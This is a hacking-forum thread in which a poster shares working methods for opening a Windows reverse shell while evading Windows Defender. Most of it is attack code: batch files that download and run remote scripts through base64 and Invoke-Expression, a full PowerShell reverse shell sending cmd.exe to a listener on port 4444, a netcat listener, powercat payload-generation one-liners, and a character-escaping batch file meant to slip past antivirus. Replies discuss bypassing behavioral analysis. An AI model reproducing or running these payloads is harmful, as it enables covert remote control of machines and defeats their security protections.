

Forum:[Hack Forums](#)

Thread: [Windows defender giving you issues?](#)

Mr. Robot - March 14, 2023, 5:35 am

This isn't a quick fix, but often times I find testing on windows machines for commands or whatever so I just want an easy quick reverse shell.

Method 1.

Run as a .bat file (open notepad, copy paste this in and save as like run.bat)

Code @echo off

setlocal EnableDelayedExpansion

REM Open a new command prompt with administrator privileges

start "" /min /B %windir%\system32\cmd.exe /C "%comspec% /k ("

REM Put your link to your reverse shell download script

set script=LINKTOYOURFILE

REM Download the script and encode it as base64

powershell -command "\$content = (New-Object

System.Net.WebClient).DownloadString('%script%'); \$base64encoded =

[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\$content));

Set-Content -Path base64encoded.txt -Value \$base64encoded -NoNewline"

powershell -command "\$base64 = Get-Content -Path base64encoded.txt; \$content =

[System.Convert]::FromBase64String(\$base64); \$text =

[System.Text.Encoding]::UTF8.GetString(\$content); Invoke-Expression \$text;"

Then modify this with your IP and port on the very last line (If you use public IP, make sure you have port forwarding otherwise do it locally using your ipv4 address)

Code function Stream1_Setup

```
{  
  
    param($FuncSetupVars)  
    $c,$l,$p,$t = $FuncSetupVars  
    if($global:Verbose){$Verbose = $True}  
    $FuncVars = @{}  
    if(!$l)  
    {  
        $FuncVars["l"] = $False  
        $Socket = New-Object System.Net.Sockets.TcpClient  
        Write-Verbose "Connecting..."  
        $Handle = $Socket.BeginConnect($c,$p,$null,$null)  
    }  
    else  
    {  
        $FuncVars["l"] = $True  
        Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")  
        $Socket = New-Object System.Net.Sockets.TcpListener $p  
        $Socket.Start()  
        $Handle = $Socket.BeginAcceptTcpClient($null, $null)
```

```

}

$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
    if($Host.UI.RawUI.KeyAvailable)
    {
        if(@(17,27) -contains
($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
        {
            Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
            if($FuncVars["I"]){$Socket.Stop()}
            else{$Socket.Close()}
            $Stopwatch.Stop()
            break
        }
    }
    if($Stopwatch.Elapsed.TotalSeconds -gt $t)
    {
        if(!$I){$Socket.Close()}
        else{$Socket.Stop()}
        $Stopwatch.Stop()
        Write-Verbose "Timeout!" ; break
        break
    }
    if($Handle.IsCompleted)
    {
        if(!$I)
        {
            try
            {
                $Socket.EndConnect($Handle)
                $Stream = $Socket.GetStream()
                $BufferSize = $Socket.ReceiveBufferSize
                Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
            }
            catch{$Socket.Close(); $Stopwatch.Stop(); break}
        }
        else
        {
            $Client = $Socket.EndAcceptTcpClient($Handle)
            $Stream = $Client.GetStream()
            $BufferSize = $Client.ReceiveBufferSize
            Write-Verbose ("Connection from [" +
$Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted
(source port " + $Client.Client.RemoteEndPoint.Port + ")")
        }
        break
    }
}
$Stopwatch.Stop()
if($Socket -eq $null){break}
$FuncVars["Stream"] = $Stream

```

```

$FuncVars["Socket"] = $Socket
$FuncVars["BufferSize"] = $BufferSize
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
$FuncVars["StreamReadOperation"] =
$FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0,
$FuncVars["BufferSize"], $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["StreamBytesRead"] = 1
return $FuncVars

}

function Stream1_ReadData
{

    param($FuncVars)
    $Data = $null
    if($FuncVars["StreamBytesRead"] -eq 0){break}
    if($FuncVars["StreamReadOperation"].IsCompleted)
    {
        $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
        if($StreamBytesRead -eq 0){break}
        $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
        $FuncVars["StreamReadOperation"] =
$FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0,
$FuncVars["BufferSize"], $null, $null)
    }
    return $Data,$FuncVars

}

function Stream1_WriteData
{

    param($Data,$FuncVars)
    $FuncVars["Stream"].Write($Data, 0, $Data.Length)
    return $FuncVars

}

function Stream1_Close
{

    param($FuncVars)
    try{$FuncVars["Stream"].Close()}
    catch{}
    if($FuncVars["!"]){$FuncVars["Socket"].Stop()}
    else{$FuncVars["Socket"].Close()}

}

function Stream2_Setup
{

```

```

param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessStartInfo.FileName = $FuncSetupVars[0]
$ProcessStartInfo.UseShellExecute = $False
$ProcessStartInfo.RedirectStandardInput = $True
$ProcessStartInfo.RedirectStandardOutput = $True
$ProcessStartInfo.RedirectStandardError = $True
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
$FuncVars["Process"].Start() | Out-Null
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdOutReadOperation"] =
$FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdErrReadOperation"] =
$FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
return $FuncVars
}

function Stream2_ReadData
{
    param($FuncVars)
    [byte[]]$Data = @()
    if($FuncVars["StdOutReadOperation"].IsCompleted)
    {
        $StdOutBytesRead =
$FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
        if($StdOutBytesRead -eq 0){break}
        $Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
        $FuncVars["StdOutReadOperation"] =
$FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
    }
    if($FuncVars["StdErrReadOperation"].IsCompleted)
    {
        $StdErrBytesRead =
$FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
        if($StdErrBytesRead -eq 0){break}
        $Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
        $FuncVars["StdErrReadOperation"] =
$FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
    }
    return $Data,$FuncVars
}

```

```

}

function Stream2_WriteData
{
    param($Data,$FuncVars)

    $FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd
("`r").TrimEnd("`n"))
    return $FuncVars
}

function Stream2_Close
{
    param($FuncVars)
    $FuncVars["Process"] | Stop-Process
}

function Main
{
    param($Stream1SetupVars,$Stream2SetupVars)
    try
    {
        [byte[]]$InputToWrite = @()
        $Encoding = New-Object System.Text.AsciiEncoding
        if($i -ne $null)
        {
            Write-Verbose "Input from -i detected..."
            if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
            elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
            elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
            else{Write-Host "Unrecognised input type." ; return}
        }

        Write-Verbose "Setting up Stream 1..."
        try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
        catch{Write-Verbose "Stream 1 Setup Failure" ; return}

        Write-Verbose "Setting up Stream 2..."
        try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
        catch{Write-Verbose "Stream 2 Setup Failure" ; return}

        $Data = $null

        if($InputToWrite -ne @())
        {
            Write-Verbose "Writing input to Stream 1..."
            try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
            catch{Write-Host "Failed to write input to Stream 1" ; return}
        }
    }
}

```

```
}
```

```
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
```

```
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
```

```
while($True)
```

```
{
```

```
try
```

```
{
```

```
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
```

```
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
```

```
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
```

```
$Data = $null
```

```
}
```

```
catch
```

```
{
```

```
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
```

```
}
```

```
try
```

```
{
```

```
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
```

```
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
```

```
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
```

```
$Data = $null
```

```
}
```

```
catch
```

```
{
```

```
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
```

```
}
```

```
}
```

```
}
```

```
finally
```

```
{
```

```
try
```

```
{
```

```
#Write-Verbose "Closing Stream 2..."
```

```
Stream2_Close $Stream2Vars
```

```
}
```

```
catch
```

```
{
```

```
Write-Verbose "Failed to close Stream 2"
```

```
}
```

```
try
```

```
{
```

```
#Write-Verbose "Closing Stream 1..."
```

```
Stream1_Close $Stream1Vars
```

```
}
```

```
catch
```

```
{
```

```
Write-Verbose "Failed to close Stream 1"
```

```
}
```

```
}  
  
}  
  
Main @('192.168.1.144',$False,4444,60) @('cmd.exe')  
Then simply run the following depending on your port.  
Code nc -lvnp 4444
```

Method 2.

Spoiler ([Click to View](#))

This is a quick batch file that will read your reverse connection command and rebuild it without you saving a file or running it.

It's just mainly handy for times where windows defender tries to block you from saving a file with that command or whatever.

My recommended setup:

Do this on your attack system, changing LHOST and LPORT to what you want

```
Code LHOST=192.168.1.144  
LPORT=4444  
shelloutput=shelloutput.txt  
pwsh -c "iex (New-Object  
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c $LHOST -p $LPORT -e cmd.exe -ge" > $shelloutput  
This will create a file called shelloutput.txt, simply copy paste that to a github or server that you can read it as a raw document.
```

Modify this command below.

If you can, just run this command manually in your windows terminal -

If you can't - or if you prefer. Modify it with the link from the previous command we made, and also make this available on the internet.

```
Code START /B powershell -c $code=(New-Object  
System.Net.Webclient).DownloadString('LINKTOFILEFROMPREVIOUSCOMMAND');iex  
'powershell -E $code'
```

Then this is a batch file I made - simply edit line7 with the link to the START /B command (not the long base64 one) and run it. Easy peasy. Make sure you have a netcat session running on your attackbox.

```
Code @echo off  
setlocal EnableDelayedExpansion  
REM Open a new command prompt with administrator privileges  
start "" /min /B %windir%\system32\cmd.exe /C "%comspec% /k ("
```

```
REM Put your link to your reverse shell download script  
set script=https://raw.githubusercontent.com/LINK/TO/FILE  
REM Store each line in an array variable  
set i=0
```

```

for /f "delims=" %%a in ('curl -s !script!') do (
    set /a i+=1
    set "line[!i!]=%%a"
)

```

```

REM Process each line and output its content
for /l %%i in (1, 1, %%i) do (

```

```

    REM Apply filters to each line

```

```

    set "line=!line[%%i]:%=^%"
    set "line=!line[%%i]:==^^="
    set "line=!line[%%i]:.=^."
    set "line=!line[%%i]:[=^["
    set "line=!line[%%i]:.=^]"
    set "line=!line[%%i]:.=^;"
    set "line=!line[%%i]:._=^_"
    set "line=!line[%%i]:."=^""
    set "line=!line[%%i]:.?=^?"
    set "line=!line[%%i]:.!.=^!"
    set "line=!line[%%i]:./=^/"
    set "line=!line[%%i]:.\=^\"
    set "line=!line[%%i]:.)=^)"
    set "line=!line[%%i]:.=^,"
    set "line=!line[%%i]:.=^+"
    set "line=!line[%%i]:.=^>"
    set "line=!line[%%i]:.=^~"
    set "line=!line[%%i]:.=^-"
    set "line=!line[%%i]:.(=^("
    set "line=!line[%%i]:.*=^*"
    set "line=!line[%%i]:.^=^^"
    set "line=!line[%%i]:.?=^?"
    set "line=!line[%%i]:.=^."
    set "line=!line[%%i]:.'=^'"
    set "line=!line[%%i]:.@=^@"
    set "line=!line[%%i]:.&=^&"
    set "line=!line[%%i]:.#=^#"
    set "line=!line[%%i]:.<=^<"
    set "line=!line[%%i]:.=^|"
    set "line=!line[%%i]:.=^-"
    set "line=!line[%%i]:.?=^?"
    set "line=!line[%%i]:.?=^?"
    set "line=!line[%%i]:.?=^?"
    set "line=!line[%%i]:.?=^?"
    set "line=!line[%%i]:.$=^$"

```

```

    REM Extract content from each line

```

```

    set "content=!line[%%i]!"

```

```

)

```

```

!content!

```

```

pause

```

DramaKing - March 15, 2023, 1:04 pm

I'll definitely check it out, but I haven't found any obfuscation methods that could bypass behavioral analysis.

Dread.Reaper - March 15, 2023, 1:16 pm

Very useful info, thanks for sharing.

Mr. Robot - March 21, 2023, 9:08 am

(Mar 15, 2023 01:04 PM)DramaKing Wrote: [\[CITE\]](#) I'll definitely check it out, but I haven't found any obfuscation methods that could bypass behavioral analysis.

This honestly should still get you a connection without popping alerts.